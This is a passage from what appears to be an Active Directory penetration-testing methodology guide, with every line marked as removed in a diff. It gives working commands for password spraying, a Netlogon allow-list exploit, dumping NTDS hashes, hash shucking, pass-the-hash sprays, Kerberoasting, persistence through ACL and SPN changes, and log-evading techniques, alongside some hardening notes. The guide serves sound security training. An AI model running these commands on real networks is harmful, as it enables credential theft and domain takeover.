-Invoke-DomainHarvestOWA -ExchHostname [ip]
-# Enumerate valid users from a list of potential usernames
-Invoke-UsernameHarvestOWA -ExchHostname [ip] -Domain [domain] -UserList .\possible-usernames.txt -OutFile valid.txt
-# Password spraying
-Invoke-PasswordSprayOWA -ExchHostname [ip] -UserList .\valid.txt -Password Summer2021
-# Get addresses list from the compromised mail
-Get-GlobalAddressList -ExchHostname [ip] -UserName [domain]\[username] -Password Summer2021 -OutFile gal.txt
-```
-
-> [!WARNING]
-> You can find lists of usernames in [**this github repo**](https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names)  and this one ([**statistically-likely-usernames**](https://github.com/insidetrust/statistically-likely-usernames)).
->
-> However, you should have the **name of the people working on the company** from the recon step you should have performed before this. With the name and surname you could used the script [**namemash.py**](https://gist.github.com/superkojiman/11076951) to generate potential valid usernames.
-
-### Netlogon vulnerable-channel allow-list abuse (Onelogon)
-
-Even after **Zerologon** is patched on the DC, explicitly allow-listed accounts can still be exposed to **legacy/vulnerable Netlogon secure-channel behavior**. The risky configuration is the GPO **`Domain controller: Allow vulnerable Netlogon secure channel connections`** or the matching registry value **`HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\VulnerableChannelAllowList`**.
-
-That value is an **SDDL security descriptor** (see [Security Descriptors](security-descriptors.md)). Any account or group granted the relevant ACE in the DACL can be targeted. For example, `O:BAG:BAD:(A;;RC;;;WD)` effectively allow-lists **Everyone**.
-
-Practical operator workflow:
-
-1. **Identify allow-listed principals** by checking both **SYSVOL/GPO** and the **live DC registry**.
-2. **Resolve SIDs** found in the SDDL to real AD users/computers and prioritize **DC machine accounts**, **trust accounts**, and other privileged machines.
-3. Repeatedly attempt **MS-NRPC / Netlogon authentication** as the allow-listed account.
-4. After a successful guess, abuse **Netlogon password-setting** to reset the target account password (the public PoC sets it to an empty string).
-
-Quick triage / lab examples from the public artifact:
-
-```bash
-# Enumerate allow-listed accounts (scanner requires privileged registry access on the DC)
-poetry run scan --dc-ip <DC_IP> --username <USER> --password <PASSWORD>
-
-# Meet-in-the-middle attack against an allow-listed account
-poetry run onelogon --dc-ip <DC_IP> --dc-name <DC_HOSTNAME> --username '<TARGET_ACCOUNT>'
-
-# Faster 24-bit brute force when you control another computer account
-poetry run onelogon --dc-ip <DC_IP> --dc-name <DC_HOSTNAME> --username '<TARGET_ACCOUNT>' \
-  --comp-username '<COMP_ACCOUNT>' --comp-pass '<COMP_PASSWORD>'
-```
-
-Notes:
-
-- The **scanner** is useful because the effective allow-list may exist in **SYSVOL**, in the **registry**, or in both.
-- The exploit path itself is important because it **does not require Domain Admin privileges** once a vulnerable account has been identified.
-- Compromising a **Domain Controller machine account** such as `DC$` is especially dangerous because resetting that password can directly enable broader **AD takeover** paths.
-- **Brute-force feasibility** depends on the mode: the public artifact describes a meet-in-the-middle approach, a **24-bit** brute force when another computer account is available, and slower **32-bit** variants.
-
-Detection / hardening notes:
-
-- Audit the allow-list policy and remove anything except temporary, explicitly required compatibility exceptions.
-- Monitor DC **System** events **5827/5828/5829/5830/5831** to catch vulnerable Netlogon connections being denied, discovered, or explicitly allowed by policy.
-- Treat accounts in `VulnerableChannelAllowList` as **high-risk** until the legacy dependency is removed.
-
-### Knowing one or several usernames
-
-Ok, so you know you have already a valid username but no passwords... Then try:
-
-- [**ASREPRoast**](asreproast.md): If a user **doesn't have** the attribute _DONT_REQ_PREAUTH_ you can **request a AS_REP message** for that user that will contain some data encrypted by a derivation of the password of the user.
-- [**Password Spraying**](password-spraying.md): Let's try the most **common passwords** with each of the discovered users, maybe some user is using a bad password (keep in mind the password policy!).
-  - Note that you can also **spray OWA servers** to try to get access to the users mail servers.
-
-
-{{#ref}}
-password-spraying.md
-{{#endref}}
-
-### LLMNR/NBT-NS Poisoning
-
-You might be able to **obtain** some challenge **hashes** to crack **poisoning** some protocols of the **network**:
-
-
-{{#ref}}
-../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
-{{#endref}}
-
-### NTLM Relay
-
-If you have managed to enumerate the active directory you will have **more emails and a better understanding of the network**. You might be able to to force NTLM [**relay attacks**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)  to get access to the AD env.
-
-### NetExec workspace-driven recon & relay posture checks
-
-- Use **`nxcdb` workspaces** to keep AD recon state per engagement: `workspace create <name>` spawns per-protocol SQLite DBs under `~/.nxc/workspaces/<name>` (smb/mssql/winrm/ldap/etc). Switch views with `proto smb|mssql|winrm` and list gathered secrets with `creds`. Manually purge sensitive data when done: `rm -rf ~/.nxc/workspaces/<name>`.
-- Quick subnet discovery with **`netexec smb <cidr>`** surfaces **domain**, **OS build**, **SMB signing requirements**, and **Null Auth**. Members showing `(signing:False)` are **relay-prone**, while DCs often require signing.
-- Generate **hostnames in /etc/hosts** straight from NetExec output to ease targeting:
-
-```bash
-netexec smb 10.2.10.0/24 --generate-hosts-file hosts
-cat hosts /etc/hosts | sponge /etc/hosts
-```
-
-- When **SMB relay to the DC is blocked** by signing, still probe **LDAP** posture: `netexec ldap <dc>` highlights `(signing:None)` / weak channel binding. A DC with SMB signing required but LDAP signing disabled remains a viable **relay-to-LDAP** target for abuses like **SPN-less RBCD**.
-
-### Client-side printer credential leaks → bulk domain credential validation
-
-- Printer/web UIs sometimes **embed masked admin passwords in HTML**. Viewing source/devtools can reveal cleartext (e.g., `<input value="<password>">`), allowing Basic-auth access to scan/print repositories.
-- Retrieved print jobs may contain **plaintext onboarding docs** with per-user passwords. Keep pairings aligned when testing:
-
-```bash
-cat IT_Procedures.txt | grep Username: | cut -d' ' -f2 > usernames
-cat IT_Procedures.txt | grep Password: | cut -d' ' -f3 > passwords
-netexec smb <dc> -u usernames -p passwords --no-bruteforce --continue-on-success
-```
-
-### Steal NTLM Creds
-
-If you can **access other PCs or shares** with the **null or guest user** you could **place files** (like a SCF file) that if somehow accessed will t**rigger an NTLM authentication against you** so you can **steal** the **NTLM challenge** to crack it:
-
-
-{{#ref}}
-../ntlm/places-to-steal-ntlm-creds.md
-{{#endref}}
-
-### Hash Shucking & NT-Candidate Attacks
-
-**Hash shucking** treats every NT hash you already possess as a candidate password for other, slower formats whose key material is derived directly from the NT hash. Instead of brute-forcing long passphrases in Kerberos RC4 tickets, NetNTLM challenges, or cached credentials, you feed the NT hashes into Hashcat’s NT-candidate modes and let it validate password reuse without ever learning the plaintext. This is especially potent after a domain compromise where you can harvest thousands of current and historical NT hashes.
-
-Use shucking when:
-
-- You have an NT corpus from DCSync, SAM/SECURITY dumps, or credential vaults and need to test for reuse in other domains/forests.
-- You capture RC4-based Kerberos material (`$krb5tgs$23$`, `$krb5asrep$23$`), NetNTLM responses, or DCC/DCC2 blobs.
-- You want to quickly prove reuse for long, uncrackable passphrases and immediately pivot via Pass-the-Hash.
-
-The technique **does not work** against encryption types whose keys are not the NT hash (e.g., Kerberos etype 17/18 AES). If a domain enforces AES-only, you must revert to the regular password modes.
-
-#### Building an NT hash corpus
-
-- **DCSync/NTDS** – Use `secretsdump.py` with history to grab the largest possible set of NT hashes (and their previous values):
-
-  ```bash
-  secretsdump.py <domain>/<user>@<dc_ip> -just-dc-ntlm -history -user-status -outputfile smoke_dump
-  grep -i ':::' smoke_dump.ntds | awk -F: '{print $4}' | sort -u > nt_candidates.txt
-  ```
-
-  History entries dramatically widen the candidate pool because Microsoft can store up to 24 previous hashes per account. For more ways to harvest NTDS secrets see:
-
-{{#ref}}
-dcsync.md
-{{#endref}}
-
-- **Endpoint cache dumps** – `nxc smb <ip> -u <local_admin> -p <password> --local-auth --lsa` (or Mimikatz `lsadump::sam /patch`) extracts local SAM/SECURITY data and cached domain logons (DCC/DCC2). Deduplicate and append those hashes to the same `nt_candidates.txt` list.
-- **Track metadata** – Keep the username/domain that produced each hash (even if the wordlist contains only hex). Matching hashes tell you immediately which principal is reusing a password once Hashcat prints the winning candidate.
-- Prefer candidates from the same forest or a trusted forest; that maximizes the chance of overlap when shucking.
-
-#### Hashcat NT-candidate modes
-
-| Hash Type                                | Password Mode | NT-Candidate Mode |
-| ---------------------------------------- | ------------- | ----------------- |
-| Domain Cached Credentials (DCC)          | 1100          | 31500             |
-| Domain Cached Credentials 2 (DCC2)       | 2100          | 31600             |
-| NetNTLMv1 / NetNTLMv1+ESS                | 5500          | 27000             |
-| NetNTLMv2                                | 5600          | 27100             |
-| Kerberos 5 etype 23 AS-REQ Pre-Auth      | 7500          | _N/A_             |
-| Kerberos 5 etype 23 TGS-REP (Kerberoast) | 13100         | 35300             |
-| Kerberos 5 etype 23 AS-REP               | 18200         | 35400             |
-
-Notes:
-
-- NT-candidate inputs **must remain raw 32-hex NT hashes**. Disable rule engines (no `-r`, no hybrid modes) because mangling corrupts the candidate key material.
-- These modes are not inherently faster, but the NTLM keyspace (~30,000 MH/s on an M3 Max) is ~100× quicker than Kerberos RC4 (~300 MH/s). Testing a curated NT list is far cheaper than exploring the entire password space in the slow format.
-- Always run the **latest Hashcat build** (`git clone https://github.com/hashcat/hashcat && make install`) because modes 31500/31600/35300/35400 shipped recently.
-- There is currently no NT mode for AS-REQ Pre-Auth, and AES etypes (19600/19700) require the plaintext password because their keys are derived via PBKDF2 from UTF-16LE passwords, not raw NT hashes.
-
-#### Example – Kerberoast RC4 (mode 35300)
-
-1. Capture an RC4 TGS for a target SPN with a low-privileged user (see the Kerberoast page for details):
-
-{{#ref}}
-kerberoast.md
-{{#endref}}
-
-   ```bash
-   GetUserSPNs.py -dc-ip <dc_ip> -request <domain>/<user> -outputfile roastable_TGS
-   ```
-
-2. Shuck the ticket with your NT list:
-
-   ```bash
-   hashcat -m 35300 roastable_TGS nt_candidates.txt
-   ```
-
-   Hashcat derives the RC4 key from each NT candidate and validates the `$krb5tgs$23$...` blob. A match confirms that the service account uses one of your existing NT hashes.
-
-3. Immediately pivot via PtH:
-
-   ```bash
-   nxc smb <dc_ip> -u roastable -H <matched_nt_hash>
-   ```
-
-   You can optionally recover the plaintext later with `hashcat -m 1000 <matched_hash> wordlists/` if needed.
-
-#### Example – Cached credentials (mode 31600)
-
-1. Dump cached logons from a compromised workstation:
-
-   ```bash
-   nxc smb <host_ip> -u localadmin -p '<password>' --local-auth --lsa > lsa_dump.txt
-   ```
-
-2. Copy the DCC2 line for the interesting domain user into `dcc2_highpriv.txt` and shuck it:
-
-   ```bash
-   hashcat -m 31600 dcc2_highpriv.txt nt_candidates.txt
-   ```
-
-3. A successful match yields the NT hash already known in your list, proving that the cached user is reusing a password. Use it directly for PtH (`nxc smb <dc_ip> -u highpriv -H <hash>`) or brute-force it in fast NTLM mode to recover the string.
-
-The exact same workflow applies to NetNTLM challenge-responses (`-m 27000/27100`) and DCC (`-m 31500`). Once a match is identified you can launch relay, SMB/WMI/WinRM PtH, or re-crack the NT hash with masks/rules offline.
-
-
-
-## Enumerating Active Directory WITH credentials/session
-
-For this phase you need to have **compromised the credentials or a session of a valid domain account.** If you have some valid credentials or a shell as a domain user, **you should remember that the options given before are still options to compromise other users**.
-
-Before start the authenticated enumeration you should know what is the **Kerberos double hop problem.**
-
-
-{{#ref}}
-kerberos-double-hop-problem.md
-{{#endref}}
-
-### Enumeration
-
-Having compromised an account is a **big step to start compromising the whole domain**, because you are going to be able to start the **Active Directory Enumeration:**
-
-Regarding [**ASREPRoast**](asreproast.md) you can now find every possible vulnerable user, and regarding [**Password Spraying**](password-spraying.md) you can get a **list of all the usernames** and try the password of the compromised account, empty passwords and new promising passwords.
-
-- You could use the [**CMD to perform a basic recon**](../basic-cmd-for-pentesters.md#domain-info)
-- You can also use [**powershell for recon**](../basic-powershell-for-pentesters/index.html) which will be stealthier
-- You can also [**use powerview**](../basic-powershell-for-pentesters/powerview.md) to extract more detailed information
-- Another amazing tool for recon in an active directory is [**BloodHound**](bloodhound.md). It is **not very stealthy** (depending on the collection methods you use), but **if you don't care** about that, you should totally give it a try. Find where users can RDP, find path to other groups, etc.
-  - **Other automated AD enumeration tools are:** [**AD Explorer**](bloodhound.md#ad-explorer)**,** [**ADRecon**](bloodhound.md#adrecon)**,** [**Group3r**](bloodhound.md#group3r)**,** [**PingCastle**](bloodhound.md#pingcastle)**.**
-- [**DNS records of the AD**](ad-dns-records.md) as they might contain interesting information.
-- A **tool with GUI** that you can use to enumerate the directory is **AdExplorer.exe** from **SysInternal** Suite.
-- You can also search in the LDAP database with **ldapsearch** to look for credentials in fields _userPassword_ & _unixUserPassword_, or even for _Description_. cf. [Password in AD User comment on PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment) for other methods.
-- If you are using **Linux**, you could also enumerate the domain using [**pywerview**](https://github.com/the-useless-one/pywerview).
-- You could also try automated tools as:
-  - [**tomcarver16/ADSearch**](https://github.com/tomcarver16/ADSearch)
-  - [**61106960/adPEAS**](https://github.com/61106960/adPEAS)
-- **Extracting all domain users**
-
-  It's very easy to obtain all the domain usernames from Windows (`net user /domain` ,`Get-DomainUser` or `wmic useraccount get name,sid`). In Linux, you can use: `GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username` or `enum4linux -a -u "user" -p "password" <DC IP>`
-
-> Even if this Enumeration section looks small this is the most important part of all. Access the links (mainly the one of cmd, powershell, powerview and BloodHound), learn how to enumerate a domain and practice until you feel comfortable. During an assessment, this will be the key moment to find your way to DA or to decide that nothing can be done.
-
-### Kerberoast
-
-Kerberoasting involves obtaining **TGS tickets** used by services tied to user accounts and cracking their encryption—which is based on user passwords—**offline**.
-
-More about this in:
-
-
-{{#ref}}
-kerberoast.md
-{{#endref}}
-
-### Remote connexion (RDP, SSH, FTP, Win-RM, etc)
-
-Once you have obtained some credentials you could check if you have access to any **machine**. For that matter, you could use **CrackMapExec** to attempt connecting on several servers with different protocols, accordingly to your ports scans.
-
-### Local Privilege Escalation
-
-If you have compromised credentials or a session as a regular domain user and you have **access** with this user to **any machine in the domain** you should try to find your way to **escalate privileges locally and looting for credentials**. This is because only with local administrator privileges you will be able to **dump hashes of other users** in memory (LSASS) and locally (SAM).
-
-There is a complete page in this book about [**local privilege escalation in Windows**](../windows-local-privilege-escalation/index.html) and a [**checklist**](../checklist-windows-privilege-escalation.md). Also, don't forget to use [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite).
-
-### Current Session Tickets
-
-It's very **unlikely** that you will find **tickets** in the current user **giving you permission to access** unexpected resources, but you could check:
-
-```bash
-## List all tickets (if not admin, only current user tickets)
-.\Rubeus.exe triage
-## Dump the interesting one by luid
-.\Rubeus.exe dump /service:krbtgt /luid:<luid> /nowrap
-[IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("<BASE64_TICKET>"))
-```
-
-### NTLM Relay
-
-If you have managed to enumerate the active directory you will have **more emails and a better understanding of the network**. You might be able to to force NTLM [**relay attacks**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack)**.**
-
-### Looks for Creds in Computer Shares | SMB Shares
-
-Now that you have some basic credentials you should check if you can **find** any **interesting files being shared inside the AD**. You could do that manually but it's a very boring repetitive task (and more if you find hundreds of docs you need to check).
-
-[**Follow this link to learn about tools you could use.**](../../network-services-pentesting/pentesting-smb/index.html#domain-shared-folders-search)
-
-### Steal NTLM Creds
-
-If you can **access other PCs or shares** you could **place files** (like a SCF file) that if somehow accessed will t**rigger an NTLM authentication against you** so you can **steal** the **NTLM challenge** to crack it:
-
-
-{{#ref}}
-../ntlm/places-to-steal-ntlm-creds.md
-{{#endref}}
-
-### CVE-2021-1675/CVE-2021-34527 PrintNightmare
-
-This vulnerability allowed any authenticated user to **compromise the domain controller**.
-
-
-{{#ref}}
-printnightmare.md
-{{#endref}}
-
-## Privilege escalation on Active Directory WITH privileged credentials/session
-
-**For the following techniques a regular domain user is not enough, you need some special privileges/credentials to perform these attacks.**
-
-### Hash extraction
-
-Hopefully you have managed to **compromise some local admin** account using [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) including relaying, [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [escalating privileges locally](../windows-local-privilege-escalation/index.html).\
-Then, its time to dump all the hashes in memory and locally.\
-[**Read this page about different ways to obtain the hashes.**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)
-
-### Pass the Hash
-
-**Once you have the hash of a user**, you can use it to **impersonate** it.\
-You need to use some **tool** that will **perform** the **NTLM authentication using** that **hash**, **or** you could create a new **sessionlogon** and **inject** that **hash** inside the **LSASS**, so when any **NTLM authentication is performed**, that **hash will be used.** The last option is what mimikatz does.\
-[**Read this page for more information.**](../ntlm/index.html#pass-the-hash)
-
-### Over Pass the Hash/Pass the Key
-
-This attack aims to **use the user NTLM hash to request Kerberos tickets**, as an alternative to the common Pass The Hash over NTLM protocol. Therefore, this could be especially **useful in networks where NTLM protocol is disabled** and only **Kerberos is allowed** as authentication protocol.
-
-
-{{#ref}}
-over-pass-the-hash-pass-the-key.md
-{{#endref}}
-
-### Pass the Ticket
-
-In the **Pass The Ticket (PTT)** attack method, attackers **steal a user's authentication ticket** instead of their password or hash values. This stolen ticket is then used to **impersonate the user**, gaining unauthorized access to resources and services within a network.
-
-
-{{#ref}}
-pass-the-ticket.md
-{{#endref}}
-
-### Credentials Reuse
-
-If you have the **hash** or **password** of a **local administrato**r you should try to **login locally** to other **PCs** with it.
-
-```bash
-# Local Auth Spray (once you found some local admin pass or hash)
-## --local-auth flag indicate to only try 1 time per machine
-crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep +
-```
-
-> [!WARNING]
-> Note that this is quite **noisy** and **LAPS** would **mitigate** it.
-
-### MSSQL Abuse & Trusted Links
-
-If a user has privileges to **access MSSQL instances**, he could be able to use it to **execute commands** in the MSSQL host (if running as SA), **steal** the NetNTLM **hash** or even perform a **relay** **attack**.\
-Also, if a MSSQL instance is trusted (database link) by a different MSSQL instance. If the user has privileges over the trusted database, he is going to be able to **use the trust relationship to execute queries also in the other instance**. These trusts can be chained and at some point the user might be able to find a misconfigured database where he can execute commands.\
-**The links between databases work even across forest trusts.**
-
-
-{{#ref}}
-abusing-ad-mssql.md
-{{#endref}}
-
-### IT asset/deployment platforms abuse
-
-Third-party inventory and deployment suites often expose powerful paths to credentials and code execution. See:
-
-{{#ref}}
-sccm-management-point-relay-sql-policy-secrets.md
-{{#endref}}
-
-{{#ref}}
-lansweeper-security.md
-{{#endref}}
-
-### Unconstrained Delegation
-
-If you find any Computer object with the attribute [ADS_UF_TRUSTED_FOR_DELEGATION](<https://msdn.microsoft.com/en-us/library/aa772300(v=vs.85).aspx>) and you have domain privileges in the computer, you will be able to dump TGTs from memory of every users that logins onto the computer.\
-So, if a **Domain Admin logins onto the computer**, you will be able to dump his TGT and impersonate him using [Pass the Ticket](pass-the-ticket.md).\
-Thanks to constrained delegation you could even **automatically compromise a Print Server** (hopefully it will be a DC).
-
-
-{{#ref}}
-unconstrained-delegation.md
-{{#endref}}
-
-### Constrained Delegation
-
-If a user or computer is allowed for "Constrained Delegation" it will be able to **impersonate any user to access some services in a computer**.\
-Then, if you **compromise the hash** of this user/computer you will be able to **impersonate any user** (even domain admins) to access some services.
-
-
-{{#ref}}
-constrained-delegation.md
-{{#endref}}
-
-### Resourced-based Constrain Delegation
-
-Having **WRITE** privilege on an Active Directory object of a remote computer enables the attainment of code execution with **elevated privileges**:
-
-
-{{#ref}}
-resource-based-constrained-delegation.md
-{{#endref}}
-
-### Permissions/ACLs Abuse
-
-The compromised user could have some **interesting privileges over some domain objects** that could let you **move** laterally/**escalate** privileges.
-
-
-{{#ref}}
-acl-persistence-abuse/
-{{#endref}}
-
-### Printer Spooler service abuse
-
-Discovering a **Spool service listening** within the domain can be **abused** to **acquire new credentials** and **escalate privileges**.
-
-
-{{#ref}}
-printers-spooler-service-abuse.md
-{{#endref}}
-
-### Third party sessions abuse
-
-If **other users** **access** the **compromised** machine, it's possible to **gather credentials from memory** and even **inject beacons in their processes** to impersonate them.\
-Usually users will access the system via RDP, so here you have how to performa couple of attacks over third party RDP sessions:
-
-
-{{#ref}}
-rdp-sessions-abuse.md
-{{#endref}}
-
-### LAPS
-
-**LAPS** provides a system for managing the **local Administrator password** on domain-joined computers, ensuring it's **randomized**, unique, and frequently **changed**. These passwords are stored in Active Directory and access is controlled through ACLs to authorized users only. With sufficient permissions to access these passwords, pivoting to other computers becomes possible.
-
-
-{{#ref}}
-laps.md
-{{#endref}}
-
-### Certificate Theft
-
-**Gathering certificates** from the compromised machine could be a way to escalate privileges inside the environment:
-
-
-{{#ref}}
-ad-certificates/certificate-theft.md
-{{#endref}}
-
-### Certificate Templates Abuse
-
-If **vulnerable templates** are configured it's possible to abuse them to escalate privileges:
-
-
-{{#ref}}
-ad-certificates/domain-escalation.md
-{{#endref}}
-
-## Post-exploitation with high privilege account
-
-### Dumping Domain Credentials
-
-Once you get **Domain Admin** or even better **Enterprise Admin** privileges, you can **dump** the **domain database**: _ntds.dit_.
-
-[**More information about DCSync attack can be found here**](dcsync.md).
-
-[**More information about how to steal the NTDS.dit can be found here**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)
-
-### Privesc as Persistence
-
-Some of the techniques discussed before can be used for persistence.\
-For example you could:
-
-- Make users vulnerable to [**Kerberoast**](kerberoast.md)
-
-  ```bash
-  Set-DomainObject -Identity <username> -Set @{serviceprincipalname="fake/NOTHING"}r
-  ```
-
-- Make users vulnerable to [**ASREPRoast**](asreproast.md)
-
-  ```bash
-  Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}
-  ```
-
-- Grant [**DCSync**](#dcsync) privileges to a user
-
-  ```bash
-  Add-DomainObjectAcl -TargetIdentity "DC=SUB,DC=DOMAIN,DC=LOCAL" -PrincipalIdentity bfarmer -Rights DCSync
-  ```
-
-### Silver Ticket
-
-The **Silver Ticket attack** creates a **legitimate Ticket Granting Service (TGS) ticket** for a specific service by using the **NTLM hash** (for instance, the **hash of the PC account**). This method is employed to **access the service privileges**.
-
-
-{{#ref}}
-silver-ticket.md
-{{#endref}}
-
-### Golden Ticket
-
-A **Golden Ticket attack** involves an attacker gaining access to the **NTLM hash of the krbtgt account** in an Active Directory (AD) environment. This account is special because it's used to sign all **Ticket Granting Tickets (TGTs)**, which are essential for authenticating within the AD network.
-
-Once the attacker obtains this hash, they can create **TGTs** for any account they choose (Silver ticket attack).
-
-
-{{#ref}}
-golden-ticket.md
-{{#endref}}
-
-### Diamond Ticket
-
-These are like golden tickets forged in a way that **bypasses common golden tickets detection mechanisms.**
-
-
-{{#ref}}
-diamond-ticket.md
-{{#endref}}
-
-### **Certificates Account Persistence**
-
-**Having certificates of an account or being able to request them** is a very good way to be able to persist in the users account (even if he changes the password):
-
-
-{{#ref}}
-ad-certificates/account-persistence.md
-{{#endref}}
-
-### **Certificates Domain Persistence**
-
-**Using certificates is also possible to persist with high privileges inside the domain:**
-
-
-{{#ref}}
-ad-certificates/domain-persistence.md
-{{#endref}}
-
-### AdminSDHolder Group
-
-The **AdminSDHolder** object in Active Directory ensures the security of **privileged groups** (like Domain Admins and Enterprise Admins) by applying a standard **Access Control List (ACL)** across these groups to prevent unauthorized changes. However, this feature can be exploited; if an attacker modifies the AdminSDHolder's ACL to give full access to a regular user, that user gains extensive control over all privileged groups. This security measure, meant to protect, can thus backfire, allowing unwarranted access unless closely monitored.
-
-[**More information about AdminDSHolder Group here.**](privileged-groups-and-token-privileges.md#adminsdholder-group)
-
-### DSRM Credentials
-
-Inside every **Domain Controller (DC)**, a **local administrator** account exists. By obtaining admin rights on such a machine, the local Administrator hash can be extracted using **mimikatz**. Following this, a registry modification is necessary to **enable the use of this password**, allowing for remote access to the local Administrator account.
-
-
-{{#ref}}
-dsrm-credentials.md
-{{#endref}}
-
-### ACL Persistence
-
-You could **give** some **special permissions** to a **user** over some specific domain objects that will let the user **escalate privileges in the future**.
-
-
-{{#ref}}
-acl-persistence-abuse/
-{{#endref}}
-
-### Security Descriptors
-
-The **security descriptors** are used to **store** the **permissions** an **object** have **over** an **object**. If you can just **make** a **little change** in the **security descriptor** of an object, you can obtain very interesting privileges over that object without needing to be member of a privileged group.
-
-
-{{#ref}}
-security-descriptors.md
-{{#endref}}
-
-### Dynamic Objects Anti-Forensics / Evasion
-
-Abuse the `dynamicObject` auxiliary class to create short-lived principals/GPOs/DNS records with `entryTTL`/`msDS-Entry-Time-To-Die`; they self-delete without tombstones, erasing LDAP evidence while leaving orphan SIDs, broken `gPLink` references, or cached DNS responses (e.g., AdminSDHolder ACE pollution or malicious `gPCFileSysPath`/AD-integrated DNS redirects).
-
-{{#ref}}
-ad-dynamic-objects-anti-forensics.md
-{{#endref}}
-
-### Skeleton Key
-
-Alter **LSASS** in memory to establish a **universal password**, granting access to all domain accounts.
-
-
-{{#ref}}
-skeleton-key.md
-{{#endref}}
-
-### Custom SSP
-
-[Learn what is a SSP (Security Support Provider) here.](../authentication-credentials-uac-and-efs/index.html#security-support-provider-interface-sspi)\
-You can create you **own SSP** to **capture** in **clear text** the **credentials** used to access the machine.
-
-
-{{#ref}}
-custom-ssp.md
-{{#endref}}
-
-### DCShadow
-
-It registers a **new Domain Controller** in the AD and uses it to **push attributes** (SIDHistory, SPNs...) on specified objects **without** leaving any **logs** regarding the **modifications**. You **need DA** privileges and be inside the **root domain**.\
-Note that if you use wrong data, pretty ugly logs will appear.
-
-
-{{#ref}}
-dcshadow.md
-{{#endref}}
-
-### LAPS Persistence
-
-Previously we have discussed about how to escalate privileges if you have **enough permission to read LAPS passwords**. However, these passwords can also be used to **maintain persistence**.\
-Check:
-
-
-{{#ref}}
-laps.md
-{{#endref}}
-
-## Forest Privilege Escalation - Domain Trusts
-
-Microsoft views the **Forest** as the security boundary. This implies that **compromising a single domain could potentially lead to the entire Forest being compromised**.
-
-### Basic Information
-
-A [**domain trust**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>) is a security mechanism that enables a user from one **domain** to access resources in another **domain**. It essentially creates a linkage between the authentication systems of the two domains, allowing authentication verifications to flow seamlessly. When domains set up a trust, they exchange and retain specific **keys** within their **Domain Controllers (DCs)**, which are crucial to the trust's integrity.
-
-In a typical scenario, if a user intends to access a service in a **trusted domain**, they must first request a special ticket known as an **inter-realm TGT** from their own domain's DC. This TGT is encrypted with a shared **key** that both domains have agreed upon. The user then presents this TGT to the **DC of the trusted domain** to get a service ticket (**TGS**). Upon successful validation of the inter-realm TGT by the trusted domain's DC, it issues a TGS, granting the user access to the service.
-
-**Steps**:
-
-1. A **client computer** in **Domain 1** starts the process by using its **NTLM hash** to request a **Ticket Granting Ticket (TGT)** from its **Domain Controller (DC1)**.
-2. DC1 issues a new TGT if the client is authenticated successfully.
-3. The client then requests an **inter-realm TGT** from DC1, which is needed to access resources in **Domain 2**.
-4. The inter-realm TGT is encrypted with a **trust key** shared between DC1 and DC2 as part of the two-way domain trust.
-5. The client takes the inter-realm TGT to **Domain 2's Domain Controller (DC2)**.
-6. DC2 verifies the inter-realm TGT using its shared trust key and, if valid, issues a **Ticket Granting Service (TGS)** for the server in Domain 2 the client wants to access.
-7. Finally, the client presents this TGS to the server, which is encrypted with the server’s account hash, to get access to the service in Domain 2.
-
-### Different trusts
-
-It's important to notice that **a trust can be 1 way or 2 ways**. In the 2 ways options, both domains will trust each other, but in the **1 way** trust relation one of the domains will be the **trusted** and the other the **trusting** domain. In the last case, **you will only be able to access resources inside the trusting domain from the trusted one**.
-
-If Domain A trusts Domain B, A is the trusting domain and B ins the trusted one. Moreover, in **Domain A**, this would be an **Outbound trust**; and in **Domain B**, this would be an **Inbound trust**.
-
-**Different trusting relationships**
-
-- **Parent-Child Trusts**: This is a common setup within the same forest, where a child domain automatically has a two-way transitive trust with its parent domain. Essentially, this means that authentication requests can flow seamlessly between the parent and the child.
-- **Cross-link Trusts**: Referred to as "shortcut trusts," these are established between child domains to expedite referral processes. In complex forests, authentication referrals typically have to travel up to the forest root and then down to the target domain. By creating cross-links, the journey is shortened, which is especially beneficial in geographically dispersed environments.
-- **External Trusts**: These are set up between different, unrelated domains and are non-transitive by nature. According to [Microsoft's documentation](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>), external trusts are useful for accessing resources in a domain outside of the current forest that isn't connected by a forest trust. Security is bolstered through SID filtering with external trusts.
-- **Tree-root Trusts**: These trusts are automatically established between the forest root domain and a newly added tree root. While not commonly encountered, tree-root trusts are important for adding new domain trees to a forest, enabling them to maintain a unique domain name and ensuring two-way transitivity. More information can be found in [Microsoft's guide](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>).
-- **Forest Trusts**: This type of trust is a two-way transitive trust between two forest root domains, also enforcing SID filtering to enhance security measures.
-- **MIT Trusts**: These trusts are established with non-Windows, [RFC4120-compliant](https://tools.ietf.org/html/rfc4120) Kerberos domains. MIT trusts are a bit more specialized and cater to environments requiring integration with Kerberos-based systems outside the Windows ecosystem.
-
-#### Other differences in **trusting relationships**
-
-- A trust relationship can also be **transitive** (A trust B, B trust C, then A trust C) or **non-transitive**.
-- A trust relationship can be set up as **bidirectional trust** (both trust each other) or as **one-way trust** (only one of them trust the other).
-
-### Attack Path
-
